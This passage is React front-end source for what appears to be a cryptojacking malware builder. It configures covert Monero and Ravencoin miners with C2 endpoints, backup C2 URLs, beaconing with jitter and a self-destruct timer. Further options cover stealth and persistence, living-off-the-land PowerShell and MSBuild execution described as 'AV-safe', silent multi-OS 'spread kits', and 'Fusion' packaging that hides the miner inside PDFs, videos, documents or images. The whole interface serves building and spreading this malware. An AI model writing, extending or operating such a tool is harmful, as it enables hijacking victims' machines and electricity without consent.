Export .json
</button>
<button className="btn btn-outline" onClick={handleImportBlueprintFile} title="Import a .json blueprint file from your computer">
📥 Import .json
</button>
</div>
</header>
{/* Blueprint status message */}
{blueprintMsg && (
<div className={`save-message ${blueprintMsg.includes('✅') ? 'success' : 'error'}`} style={{ marginBottom: '12px' }}>
{blueprintMsg}
</div>
)}
{compareBlueprint && blueprintChanges.length > 0 && (
<div className="card" style={{ marginBottom: '16px' }}>
<div style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center', marginBottom: '8px' }}>
<h3 style={{ margin: 0, fontSize: '1rem' }}>
Blueprint diff {blueprintName || 'loaded blueprint'}
</h3>
<button
type="button"
className="btn btn-outline btn-sm"
onClick={() => {
setCompareBlueprint(null);
setBlueprintName('');
}}
>
Dismiss
</button>
</div>
<p className="form-hint" style={{ marginTop: 0 }}>
Fields that differ from the loaded blueprint (your previous form values were kept where they conflict).
</p>
<ul className="blueprint-diff-list" style={{ margin: 0, paddingLeft: '1.25rem', fontSize: '0.85rem' }}>
{blueprintChanges.map((row) => (
<li key={row.key}>
<code>{row.key}</code>
{' — '}
{row.kind === 'added' && <span>kept from form</span>}
{row.kind === 'removed' && <span>not in current form</span>}
{row.kind === 'changed' && (
<span>
blueprint current
</span>
)}
</li>
))}
</ul>
</div>
)}
{/* Blueprint picker panel */}
{showBlueprints && (
<div className="card" style={{ marginBottom: '16px' }}>
<div style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center', marginBottom: '12px' }}>
<h3 style={{ margin: 0 }}>Saved Blueprints</h3>
<button className="btn btn-outline" onClick={() => setShowBlueprints(false)}>Close</button>
</div>
{loadingBlueprints ? (
<p>Loading blueprints...</p>
) : blueprints.length === 0 ? (
<p className="empty-text">No saved blueprints yet. Configure the form and click "Save Blueprint".</p>
) : (
<div className="builds-list">
{blueprints.map((bp) => (
<div key={bp.name} className="build-item">
<div className="build-item-name">{bp.name}</div>
<div className="build-item-details">
<span>{(bp.size / 1024).toFixed(1)} KB</span>
<span>{new Date(bp.created_at).toLocaleString()}</span>
</div>
<div style={{ display: 'flex', gap: '8px' }}>
<button className="btn btn-primary" onClick={() => handleApplyBlueprint(bp.name)}>
Load
</button>
<button className="btn btn-outline" onClick={() => handleDeleteBlueprint(bp.name)}>
Delete
</button>
</div>
</div>
))}
</div>
)}
</div>
)}
<div className="builder-layout builder-layout-wide">
<div className="card cheat-sheet-panel operator-deck-card operator-interactive">
<h2>Quick links</h2>
<p className="form-hint">Full visual guide with pipeline, Fusion, AI, and troubleshooting.</p>
<a
href="/docs/"
target="_blank"
rel="noopener noreferrer"
className="btn btn-primary"
style={{ marginBottom: '1rem', display: 'inline-block' }}
>
Open Field Guide
</a>
<div className="cheat-sheet">
{SETUP_CHEATSHEET.map((item) => (
<div key={item.title} className="cheat-sheet-item">
<h4>{item.title}</h4>
<p>{item.body}</p>
</div>
))}
</div>
</div>
<div className="card builder-form">
{simpleMode ? (
<>
<div className="forge-mission-wizard card operator-deck-card operator-interactive">
<p className="font-tech">MISSION RITUAL 3-STEP WIZARD</p>
<p className="form-hint" style={{ marginTop: 0 }}>
Guided flow: pick Ghost/Loud/Spread, choose a spread profile, launch the ritual.
Full forge fields below stay available for power users.
</p>
<div className="forge-mission-wizard-pills" role="tablist" aria-label="Mission wizard steps">
{MISSION_WIZARD_STEPS.map((step, idx) => {
const status = wizardPillStatus(step, missionWizardStep);
return (
<button
key={step}
type="button"
role="tab"
aria-selected={status === 'active'}
className={`forge-mission-wizard-pill ${status}`}
disabled={missionBusy}
onClick={() => setMissionWizardStep(step)}
>
<span className="forge-mission-wizard-pill-num">
{status === 'done' ? '✓' : idx + 1}
</span>
{MISSION_WIZARD_STEP_LABELS[step]}
</button>
);
})}
</div>
<div className="forge-mission-wizard-panel">
{missionWizardStep === 'mode' && (
<div>
<p className="label" style={{ marginBottom: '0.5rem' }}>Operation temperament</p>
<div className="forge-mission-chip-grid">
{MISSION_OPERATION_CHIPS.map((chip) => (
<button
key={chip.id}
type="button"
aria-label={chip.label}
className={`forge-mission-op-chip ${missionOperationChip === chip.id ? 'active' : ''}`}
style={{
borderColor: missionOperationChip === chip.id ? chip.color : undefined,
color: missionOperationChip === chip.id ? chip.color : undefined,
}}
disabled={missionBusy}
onClick={() => selectMissionOperationChip(chip.id)}
>
<strong>{chip.label}</strong>
<span>{chip.blurb}</span>
</button>
))}
</div>
</div>
)}
{missionWizardStep === 'profile' && (
<div>
<p className="label" style={{ marginBottom: '0.5rem' }}>Spread profile (optional)</p>
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
<button
type="button"
className={`endpoint-chip ${spreadProfile === '' ? 'active' : ''}`}
disabled={missionBusy}
onClick={() => {
setSpreadProfile('');
}}
>
None
</button>
{SPREAD_PROFILES.map((p) => (
<button
key={p.id}
type="button"
className={`endpoint-chip ${spreadProfile === p.id ? 'active' : ''}`}
style={{
borderColor: spreadProfile === p.id ? p.color : undefined,
color: spreadProfile === p.id ? p.color : undefined,
}}
title={p.blurb}
disabled={missionBusy}
onClick={() => {
setSpreadProfile(p.id);
if (form) setForm(applySpreadProfile(form, p.id));
}}
>
{p.label}
</button>
))}
</div>
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
{spreadProfile
? SPREAD_PROFILES.find((p) => p.id === spreadProfile)?.blurb
: 'Skip to forge without a spread profile preset.'}
</p>
</div>
)}
{missionWizardStep === 'launch' && (
<div>
<div className="form-group" style={{ marginBottom: '0.5rem', maxWidth: '20rem' }}>
<label className="label" htmlFor="mission-campaign">Campaign slug (?c=)</label>
<input
id="mission-campaign"
type="text"
className="input mono"
value={missionCampaign}
disabled={missionBusy}
onChange={(e) => setMissionCampaign(e.target.value)}
placeholder="forge-mission"
/>
</div>
{(missionBusy || missionStep === 'error') && (
<div className="forge-mission-steps" aria-live="polite">
{MISSION_STEPS.map((step) => {
const status = missionStep
? missionStepStatus(step, missionStep, missionExportSkipped)
: 'pending';
return (
<span key={step} className={`forge-mission-step ${status}`}>
{status === 'done' ? '✓' : status === 'active' ? '●' : status === 'skipped' ? '—' : status === 'error' ? '✕' : '○'}
{' '}
{MISSION_STEP_LABELS[step]}
{step === 'export' && missionExportSkipped ? ' (n/a)' : ''}
</span>
);
})}
</div>
)}
{!missionBusy && missionStep !== 'error' && (
<p className="form-hint" style={{ marginTop: 0 }}>
Ritual: Configure presets Forge (45 min timeout) Export spread ZIP Install commands in Builds.
</p>
)}
</div>
)}
</div>
<div className="forge-mission-wizard-nav">
{prevWizardStep(missionWizardStep) && (
<button
type="button"
className="btn btn-outline btn-sm"
disabled={missionBusy}
onClick={() => {
const prev = prevWizardStep(missionWizardStep);
if (prev) setMissionWizardStep(prev);
}}
>
Back
</button>
)}
{missionWizardStep !== 'launch' && canAdvanceWizardStep(missionWizardStep, missionOperationChip, spreadProfile) && (
<button
type="button"
className="btn btn-primary btn-sm"
disabled={missionBusy}
onClick={() => {
const next = nextWizardStep(missionWizardStep);
if (next) setMissionWizardStep(next);
}}
>
Next
</button>
)}
{missionWizardStep === 'launch' && (
<>
<button
type="button"
className="btn btn-primary"
disabled={missionBusy || building || !canForge}
onClick={() => void handleLaunchMission()}
>
{missionBusy ? 'Ritual running…' : '🚀 Launch Ritual'}
</button>
{missionBusy && (
<button
type="button"
className="btn btn-danger btn-sm"
onClick={handleKillBuild}
title="Kill the running compiler immediately"
>
Kill Build
</button>
)}
</>
)}
</div>
</div>
<div className="forge-simple-banner card">
<p className="font-tech">RECOMMENDED DEFAULTS AUTO-SELECTED</p>
<p className="form-hint">{RECOMMENDED_DEFAULTS_BLURB}</p>
<button type="button" className="btn btn-outline btn-sm" onClick={() => void applyRecommendedDefaults()}>
Reset to recommended defaults
</button>
</div>
<div className="form-group" style={{ marginBottom: '1rem' }}>
<label className="label">Operation mode presets <HelpTip field="forge_operation_mode" /></label>
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
{OPERATION_MODES.map((m) => (
<button
key={m.id}
type="button"
className={`endpoint-chip forge-mode-chip ${operationMode === m.id ? 'active' : ''}`}
style={{ borderColor: operationMode === m.id ? m.color : undefined, color: operationMode === m.id ? m.color : undefined }}
title={m.blurb}
onClick={() => {
setOperationMode(m.id);
storeOperationMode(m.id);
setMissionOperationChip(missionChipForMode(m.id));
if (form) setForm(applyOperationMode(form, m.id));
}}
>
{m.label}
</button>
))}
</div>
<p className="form-hint">{OPERATION_MODES.find((m) => m.id === operationMode)?.blurb}</p>
{operationMode === 'lotl_onion' && (
<details className="forge-lotl-doc" style={{ marginTop: '0.5rem' }}>
<summary className="form-hint" style={{ cursor: 'pointer' }}>
LOTL Onion tiers same XMR Wallet Address; server-pulled order on connect
</summary>
<ul className="form-hint" style={{ margin: '0.35rem 0 0', paddingLeft: '1.2rem' }}>
{LOTL_ONION_TIER_DOCS.map((t) => (
<li key={t.id}>
<strong>{t.label}</strong> {t.definition}
<br />
<span className="form-hint">e.g. {t.example}</span>
</li>
))}
</ul>
<a
href={spreadTechniqueDocUrl('lotl-onion')}
target="_blank"
rel="noreferrer"
className="form-hint"
style={{ display: 'inline-block', marginTop: '0.35rem' }}
>
Spread playbook: LOTL Onion tab
</a>
</details>
)}
</div>
<div className="form-group" style={{ marginBottom: '1rem' }}>
<label className="label">Spread profile presets</label>
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
{SPREAD_PROFILES.map((p) => (
<button
key={p.id}
type="button"
className={`endpoint-chip ${spreadProfile === p.id ? 'active' : ''}`}
style={{ borderColor: spreadProfile === p.id ? p.color : undefined, color: spreadProfile === p.id ? p.color : undefined }}
title={p.blurb}
onClick={() => {
setSpreadProfile(p.id);
if (form) setForm(applySpreadProfile(form, p.id));
}}
>
{p.label}
</button>
))}
</div>
{spreadProfile && (
<p className="form-hint">{SPREAD_PROFILES.find((p) => p.id === spreadProfile)?.blurb}</p>
)}
</div>
</>
) : (
<div className="forge-rules-banner">
<h3 className="font-tech">FORGE RULES READ THIS ONCE</h3>
<p className="form-hint" style={{ margin: 0 }}>
Everything on this page is configurable, but incompatible mixes are blocked at forge time.
Green = baked into the installer. Blue = server folder only. Fields gray out when they do not apply.
</p>
<div className="forge-rules-grid">
<div className="forge-rule-card">
<strong> Baked into installer</strong>
Wallet, pool, threads, install path, stealth, AI toggle frozen when you forge. Re-forge to change.
</div>
<div className="forge-rule-card">
<strong>🖥 Server folder only</strong>
Output Folder copies exe + uninstall script on this PC. Not embedded in the worker.
</div>
<div className="forge-rule-card">
<strong>🔒 Auto-coupled</strong>
Stealth disables logs. Fusion forces background mode. Scheduled/Service forces persistence.
</div>
<div className="forge-rule-card">
<strong> Cannot forge until fixed</strong>
Preflight errors below must be resolved warnings let you forge but double-check first.
</div>
</div>
</div>
)}
{liveNotices.length > 0 && (
<div className="forge-live-notices">
<strong className="font-tech">ACTIVE RULES</strong>
<ul>
{liveNotices.map((n) => (
<li key={n}>{n}</li>
))}
</ul>
</div>
)}
<h2>{simpleMode ? 'Quick Forge' : 'Build Miner Installer'}</h2>
<p className="form-description">
{simpleMode
? 'Pick a deliverable type, fill the three identity fields, then forge. LAN address chips beat localhost. Spread Kit = silent multi-OS ZIP; Movie = universal fusion.'
: 'Creates installers for Windows, Linux, macOS, or all three. Incompatible fields lock automatically — grayed inputs are ignored at forge time.'}
</p>
<form onSubmit={handleSubmit}>
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Identity"
badge="baked"
description="Worker name, control server URL, and payout wallet are embedded in every forged installer."
/>
<div className="form-group">
<div className="label-row">
<label htmlFor="forge-worker-name" className="label">Worker Name <HelpTip field="worker_name" /></label>
<ForgeFieldBadge meta={fieldMeta.worker_name} />
</div>
<input
id="forge-worker-name"
type="text"
className="input"
placeholder="e.g. office-pc-1 (letters, numbers, dash, dot)"
value={form.worker_name}
maxLength={48}
onChange={(e) => updateField('worker_name', e.target.value)}
required
/>
<FieldHint field="worker_name" />
</div>
<div className="form-group endpoint-group">
<div className="endpoint-header">
<label className="label">Control Endpoint <HelpTip field="server_url" /></label>
<button
type="button"
className="btn btn-outline btn-sm"
disabled={refreshingEndpoints}
onClick={() => void refreshEndpointInfo()}
>
{refreshingEndpoints ? 'Scanning...' : 'Refresh LAN IPs'}
</button>
</div>
<input
type="url"
className={`input mono endpoint-input${form.server_url && (form.server_url.includes('localhost') || form.server_url.includes('127.0.0.1')) ? ' input-warn' : ''}`}
placeholder={`http://192.168.1.10:${listenPort}`}
value={form.server_url}
onChange={(e) => updateField('server_url', e.target.value)}
required
autoComplete="off"
spellCheck={false}
/>
{form.server_url && (form.server_url.includes('localhost') || form.server_url.includes('127.0.0.1')) && (
<p className="form-hint" style={{ color: 'var(--neon-red, #f55)' }}>
localhost/127.0.0.1 baked into the worker will fail on other machines use your LAN IP chip below.
</p>
)}
<FieldHint field="server_url" />
<p className="form-hint endpoint-hint">
Baked into each installer. Change here when this host&apos;s LAN IP changes you do not need to update Calibrate first.
</p>
{endpointCandidates.length > 0 && (
<div className="endpoint-picks">
<span className="endpoint-picks-label font-tech">Quick pick</span>
<div className="endpoint-chips">
{endpointCandidates.map((url) => (
<button
key={url}
type="button"
className={`endpoint-chip ${form.server_url.trim() === url ? 'active' : ''}`}
onClick={() => updateField('server_url', url)}
title="Use this address in the installer"
>
{url}
</button>
))}
</div>
</div>
)}
</div>
{/* ── Backup server URLs (advanced) ───────────────────────── */}
{!simpleMode && (
<div className="form-group">
<label className="label">
Backup C2 URLs
<span className="form-hint" style={{ marginLeft: '0.5rem' }}>
(tried in order if the primary is unreachable)
</span>
</label>
{(form.backup_server_urls ?? []).map((url, i) => (
<div key={i} style={{ display: 'flex', gap: '0.4rem', marginBottom: '0.3rem' }}>
<input
type="text"
className="input mono"
placeholder="http://192.168.x.x:8989"
value={url}
onChange={(e) => {
const urls = [...(form.backup_server_urls ?? [])];
urls[i] = e.target.value;
updateField('backup_server_urls', urls);
}}
/>
<button type="button" className="btn btn-outline" style={{ padding: '0 0.6rem' }}
onClick={() => {
const urls = (form.backup_server_urls ?? []).filter((_, idx) => idx !== i);
updateField('backup_server_urls', urls);
}}></button>
</div>
))}
<button type="button" className="btn btn-outline" style={{ fontSize: '0.8rem' }}
onClick={() => updateField('backup_server_urls', [...(form.backup_server_urls ?? []), ''])}>
+ Add backup URL
</button>
</div>
)}
{/* ── Connection profile (advanced) ─────────────────────── */}
{!simpleMode && (
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Connection Profile"
badge="baked"
description="C2 reconnect timing and optional agent self-destruct date."
/>
<div className="form-row" style={{ display: 'grid', gridTemplateColumns: 'repeat(auto-fit, minmax(140px, 1fr))', gap: '0.75rem' }}>
<div className="form-group">
<label className="label">Beacon interval (sec)</label>
<input
type="number"
className="input"
min={1}
placeholder="5"
value={form.beacon_interval_sec ?? ''}
onChange={(e) => updateField('beacon_interval_sec', parseInt(e.target.value, 10) || 0)}
/>
</div>
<div className="form-group">
<label className="label">Beacon jitter (%)</label>
<input
type="number"
className="input"
min={0}
max={100}
placeholder="0"
value={form.beacon_jitter_pct ?? ''}
onChange={(e) => updateField('beacon_jitter_pct', parseInt(e.target.value, 10) || 0)}
/>
</div>
<div className="form-group">
<label className="label">Kill after (days, 0=never)</label>
<input
type="number"
className="input"
min={0}
placeholder="0"
value={form.agent_kill_after_days ?? ''}
onChange={(e) => updateField('agent_kill_after_days', parseInt(e.target.value, 10) || 0)}
/>
</div>
</div>
<div className="form-group" style={{ marginTop: '0.75rem' }}>
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={form.https_beacon_fallback !== false && (
form.https_beacon_fallback === true ||
(form.backup_server_urls ?? []).some((u) => u.trim() !== '')
)}
onChange={(e) => updateField('https_beacon_fallback', e.target.checked)}
/>
<span>HTTPS beacon fallback <HelpTip field="https_beacon_fallback" /></span>
</label>
<FieldHint field="https_beacon_fallback" />
</div>
{form.https_beacon_fallback !== false && (
<div className="form-group">
<label className="label">HTTPS fallback after (min)</label>
<input
type="number"
className="input"
min={1}
placeholder="3"
value={form.https_beacon_after_min ?? ''}
onChange={(e) => updateField('https_beacon_after_min', parseInt(e.target.value, 10) || 0)}
/>
</div>
)}
</div>
)}
<div className="form-group">
<label className="label">
XMR Wallet Address {!form.apk_mode && <HelpTip field="wallet" />}
{form.apk_mode && <span className="form-hint"> (optional)</span>}
{form.apk_mode && <HelpTip field="wallet" />}
</label>
<input
type="text"
className={`input mono${form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 ? ' input-warn' : ''}`}
placeholder="4... or 8... (90106 characters)"
value={form.wallet}
onChange={(e) => updateField('wallet', e.target.value)}
required
spellCheck={false}
/>
{form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 && (
<p className="form-hint" style={{ color: 'var(--neon-amber, #ffa)' }}>
Wallet address looks short Monero addresses are 90106 characters starting with 4 or 8.
</p>
)}
<FieldHint field="wallet" />
</div>
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Mining Pools"
badge="baked"
description="Wallet-only Monero pools — baked into the worker. Unreachable pools are skipped in order."
/>
<PoolPresetPicker
host={form.pool_host}
port={form.pool_port}
tls={form.pool_tls}
pass={form.pool_pass || 'x'}
backups={form.backup_pools}
onChange={(next) => {
updateField('pool_host', next.pool_host);
updateField('pool_port', next.pool_port);
updateField('pool_tls', next.pool_tls);
updateField('backup_pools', next.backup_pools);
}}
/>
<div className="form-group">
<label className="label">Pool Password <HelpTip field="pool_pass" /></label>
<input
type="text"
className="input"
placeholder="x"
value={form.pool_pass}
onChange={(e) => updateField('pool_pass', e.target.value)}
/>
<p className="form-hint">Standard Monero pools use <code>x</code>.</p>
</div>
</div>
{/* ── GPU Mining (Ravencoin / KawPoW) ── */}
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="GPU Mining — Ravencoin"
badge="baked"
description="Enable KawPoW GPU mining alongside Monero CPU mining. The agent auto-detects NVIDIA (T-Rex) or AMD (TeamRedMiner) and downloads the correct miner."
/>
<div className="form-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={!!form.gpu_enabled}
onChange={(e) => updateField('gpu_enabled', e.target.checked)}
/>
<span style={{ fontWeight: 600 }}>Enable GPU mining (Ravencoin)</span>
</label>
<p className="form-hint">
When enabled the agent detects GPU vendor, downloads the correct KawPoW miner, and runs it silently alongside the CPU Monero miner. Requires a discrete NVIDIA or AMD GPU on the target.
</p>
</div>
{form.gpu_enabled && (
<>
<div className="form-group">
<label className="label">Ravencoin Wallet Address <span className="badge-required">required</span></label>
<input
type="text"
className="input mono"
placeholder="R... (your RVN address)"
value={form.rvn_wallet ?? ''}
onChange={(e) => updateField('rvn_wallet', e.target.value)}
/>
<p className="form-hint">Your Ravencoin wallet address. Only Ravencoin (RVN) mainnet addresses are accepted by KawPoW pools.</p>
</div>
<div className="form-group">
<label className="label">Ravencoin Pools</label>
<RVNPoolPresetPicker
host={form.rvn_pool_host ?? ''}
port={form.rvn_pool_port ?? 6060}
tls={form.rvn_pool_tls ?? false}
pass={form.rvn_pool_pass ?? 'x'}
backups={form.rvn_backup_pools ?? []}
onChange={(next) => {
updateField('rvn_pool_host', next.rvn_pool_host);
updateField('rvn_pool_port', next.rvn_pool_port);
updateField('rvn_pool_tls', next.rvn_pool_tls);
updateField('rvn_backup_pools', next.rvn_backup_pools);
}}
/>
</div>
<div className="form-group">
<label className="label">RVN Pool Password</label>
<input
type="text"
className="input"
placeholder="x"
value={form.rvn_pool_pass ?? 'x'}
onChange={(e) => updateField('rvn_pool_pass', e.target.value)}
/>
<p className="form-hint">Most public KawPoW pools use <code>x</code>.</p>
</div>
</>
)}
</div>
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Deliverable"
badge="baked"
description="Pick what you are shipping. Incompatible options are locked automatically."
/>
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
{deliverableSummary(deliverableType)}
</p>
<div className="forge-rules-grid" style={{ marginBottom: '0.75rem' }}>
<button
type="button"
className={`forge-rule-card deliverable-card ${deliverableType === 'single' ? 'deliverable-active' : ''}`}
onClick={() => setDeliverableType('single')}
>
<strong>Single platform worker</strong>
<span className="form-hint">One .exe or binary for Windows, Linux, or macOS.</span>
</button>
<button
type="button"
className={`forge-rule-card deliverable-card ${deliverableType === 'spread_kit' ? 'deliverable-active' : ''}`}
onClick={() => setDeliverableType('spread_kit')}
>
<strong>Universal Spread Kit</strong>
<span className="form-hint">Silent ZIP Deploy.bat / deploy.sh installs on any OS.</span>
</button>
<button
type="button"
className={`forge-rule-card deliverable-card ${deliverableType === 'fusion' ? 'deliverable-active' : ''}`}
onClick={() => setDeliverableType('fusion')}
>
<strong>Fusion</strong>
<span className="form-hint">Hide miner in any file PDF, video, doc, image. One universal ZIP works on all OSes.</span>
</button>
</div>
</div>
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Platform"
badge="baked"
description={
deliverableType === 'single'
? 'Which OS this single installer targets.'
: 'Locked to Universal — all platforms are included in the ZIP.'
}
/>
<div className="form-row">
<div className={`form-group ${fieldMeta.target_os?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Target OS <HelpTip field="target_os" /></label>
{fieldMeta.target_os?.disabled ? (
<input
type="text"
className="input"
disabled
value={
form.apk_mode
? 'Android (arm64)'
: 'Universal (all platforms)'
}
readOnly
/>
) : (
<select
className="select"
value={form.target_os || 'windows'}
onChange={(e) => updateField('target_os', e.target.value)}
>
<option value="windows">Windows</option>
<option value="linux">Linux</option>
<option value="darwin">macOS</option>
</select>
)}
<FieldHint field="target_os" />
<ForgeLockedHint meta={fieldMeta.target_os} />
</div>
{(form.target_os === 'linux' || form.target_os === 'darwin') && (
<div className={`form-group ${fieldMeta.target_arch?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Architecture <HelpTip field="target_arch" /></label>
<select
className="select"
disabled={fieldMeta.target_arch?.disabled}
value={form.target_arch || (form.target_os === 'darwin' ? 'arm64' : 'amd64')}
onChange={(e) => updateField('target_arch', e.target.value)}
>
<option value="amd64">amd64 (Intel/AMD)</option>
<option value="arm64">arm64 (Apple Silicon / ARM)</option>
</select>
<FieldHint field="target_arch" />
<ForgeLockedHint meta={fieldMeta.target_arch} />
</div>
)}
</div>
{deliverableType === 'spread_kit' && (
<p className="form-hint">
Spread Kit preset: idle mining, stealth, persistence, self-healing, and remote aggressive ops enabled.
Upload nothing forge produces the deploy ZIP.
</p>
)}
<div className={`form-group checkbox-group ${fieldMeta.apk_mode?.disabled ? 'field-disabled' : ''}`} style={{ marginTop: '0.75rem' }}>
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={!!form.apk_mode}
disabled={fieldMeta.apk_mode?.disabled}
onChange={(e) => updateField('apk_mode', e.target.checked)}
/>
<span>APK mode <HelpTip field="apk_mode" /></span>
</label>
<FieldHint field="apk_mode" />
<ForgeLockedHint meta={fieldMeta.apk_mode} />
</div>
{form.apk_mode && (
<p className="form-hint">
Install the forged APK on a phone or tablet. Grant permissions on first open the node joins your fleet as{' '}
<code>platform=android</code> (mining off by default). Not a mining-first deliverable; use for fleet presence on mobile.
</p>
)}
</div>
{!simpleMode && (
<div className={`form-group ${fieldMeta.output_dir?.badge === 'server-only' ? '' : ''}`}>
<div className="label-row">
<label className="label">Output Folder (server) <HelpTip field="output_dir" /></label>
<ForgeFieldBadge meta={fieldMeta.output_dir} />
</div>
<input
type="text"
className="input mono"
placeholder="exports"
value={(form.output_dir || '') as any}
onChange={(e) => updateField('output_dir' as any, e.target.value)}
/>
<FieldHint field="output_dir" />
<ForgeLockedHint meta={fieldMeta.output_dir} />
<p className="form-hint">
Example: <code>exports</code> will copy the finished exe to <code>data/exports</code> on this host.
</p>
</div>
)}
</div>
{!simpleMode && (
<>
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Performance & Resources"
badge="baked"
description="Thread count, CPU/RAM limits, and mining schedule. Irrelevant fields lock based on your mode picks."
/>
<div className="form-row">
<div className="form-group">
<label className="label">Thread Mode <HelpTip field="thread_mode" /></label>
<select className="select" value={form.thread_mode} onChange={(e) => updateField('thread_mode', e.target.value)}>
<option value="percent">Auto (% of CPU cores)</option>
<option value="fixed">Fixed thread count</option>
</select>
<FieldHint field="thread_mode" />
</div>
<div className={`form-group ${fieldMeta.thread_percent?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Thread Percent <HelpTip field="thread_percent" /></label>
<input type="number" className="input" min={1} max={100} value={form.thread_percent}
disabled={fieldMeta.thread_percent?.disabled}
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v)) updateField('thread_percent', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('thread_percent', 75); else if (v > 100) updateField('thread_percent', 100); }} />
<ForgeLockedHint meta={fieldMeta.thread_percent} />
</div>
</div>
<div className="form-row">
<div className={`form-group ${fieldMeta.threads?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Fixed Threads <HelpTip field="threads" /></label>
<input type="number" className="input" min={1} max={128} value={form.threads}
disabled={fieldMeta.threads?.disabled}
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1) updateField('threads', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('threads', 4); }} />
<ForgeLockedHint meta={fieldMeta.threads} />
</div>
<div className="form-group">
<label className="label">CPU Priority <HelpTip field="cpu_priority" /></label>
<select className="select" value={form.cpu_priority} onChange={(e) => updateField('cpu_priority', e.target.value)}>
<option value="idle">Idle</option>
<option value="below_normal">Below Normal</option>
<option value="normal">Normal</option>
<option value="above_normal">Above Normal</option>
<option value="high">High</option>
</select>
</div>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Max CPU Usage (%) <HelpTip field="max_cpu_usage_pct" /></label>
<input type="number" className="input" min={1} max={100} value={form.max_cpu_usage_pct}
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 100) updateField('max_cpu_usage_pct', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('max_cpu_usage_pct', 95); }} />
</div>
<div className="form-group">
<label className="label">Max Memory (%) <HelpTip field="max_memory_percent" /></label>
<input type="number" className="input" min={10} max={95} value={form.max_memory_percent}
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 10 && v <= 95) updateField('max_memory_percent', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 10) updateField('max_memory_percent', 85); }} />
<FieldHint field="max_memory_percent" />
</div>
</div>
<div className="form-group">
<label className="label">Min Free RAM (MB) <HelpTip field="min_free_ram_mb" /></label>
<input type="number" className="input" min={256} value={form.min_free_ram_mb}
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 256) updateField('min_free_ram_mb', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 256) updateField('min_free_ram_mb', 512); }} />
</div>
<div className="form-group">
<label className="label">Miner Execution <HelpTip field="miner_execution" /></label>
<select
className="select"
value={form.miner_execution ?? 'inprocess'}
onChange={(e) => updateField('miner_execution', e.target.value)}
>
<option value="inprocess">In-process RandomX (default, AV-safe CPU)</option>
<option value="auto">Auto (container if Docker detected)</option>
<option value="container">Container mining</option>
<option value="subprocess">Subprocess (GPU miners)</option>
<option value="powershell">PowerShell in-memory (LOTL)</option>
<option value="dotnet">Dotnet/MSBuild compile-at-runtime (LOTL)</option>
</select>
</div>
<div className="form-group">
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
<select
className="select"
value={form.mining_mode}
onChange={(e) => updateField('mining_mode', e.target.value)}
>
<option value="always">Always Mine</option>
<option value="idle">Only When Idle</option>
<option value="scheduled">Scheduled Hours</option>
</select>
</div>
{form.mining_mode === 'idle' && (
<div className="form-row">
<div className={`form-group ${fieldMeta.idle_threshold_pct?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Idle CPU Threshold (%) <HelpTip field="idle_threshold_pct" /></label>
<input
type="number"
className="input"
min={1}
max={100}
disabled={fieldMeta.idle_threshold_pct?.disabled}
value={form.idle_threshold_pct}
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 100) updateField('idle_threshold_pct', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('idle_threshold_pct', 20); }}
/>
</div>
<div className={`form-group ${fieldMeta.idle_duration_minutes?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Idle Duration (min) <HelpTip field="idle_duration_minutes" /></label>
<input
type="number"
className="input"
min={1}
disabled={fieldMeta.idle_duration_minutes?.disabled}
value={form.idle_duration_minutes}
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1) updateField('idle_duration_minutes', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('idle_duration_minutes', 5); }}
/>
</div>
</div>
)}
{form.mining_mode === 'scheduled' && (
<div className="form-row">
<div className={`form-group ${fieldMeta.schedule_start?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Start Time <HelpTip field="schedule_start" /></label>
<input
type="time"
className="input"
disabled={fieldMeta.schedule_start?.disabled}
value={form.schedule_start}
onChange={(e) => updateField('schedule_start', e.target.value)}
/>
</div>
<div className={`form-group ${fieldMeta.schedule_end?.disabled ? 'field-disabled' : ''}`}>
<label className="label">End Time <HelpTip field="schedule_end" /></label>
<input
type="time"
className="input"
disabled={fieldMeta.schedule_end?.disabled}
value={form.schedule_end}
onChange={(e) => updateField('schedule_end', e.target.value)}
